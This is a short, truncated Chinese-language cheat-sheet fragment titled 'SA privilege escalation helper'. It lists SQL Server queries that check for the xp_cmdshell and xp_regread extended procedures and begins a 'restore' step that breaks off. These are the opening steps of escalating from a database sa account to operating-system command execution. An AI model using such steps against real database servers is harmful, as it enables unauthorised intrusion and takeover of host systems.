SA提權輔助

SA提權輔助： 1.判斷擴展存儲是否存在：shell   select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'   select count(*) from master.dbo.sysobjects where name='xp_regread'   恢復：   exec sp_d

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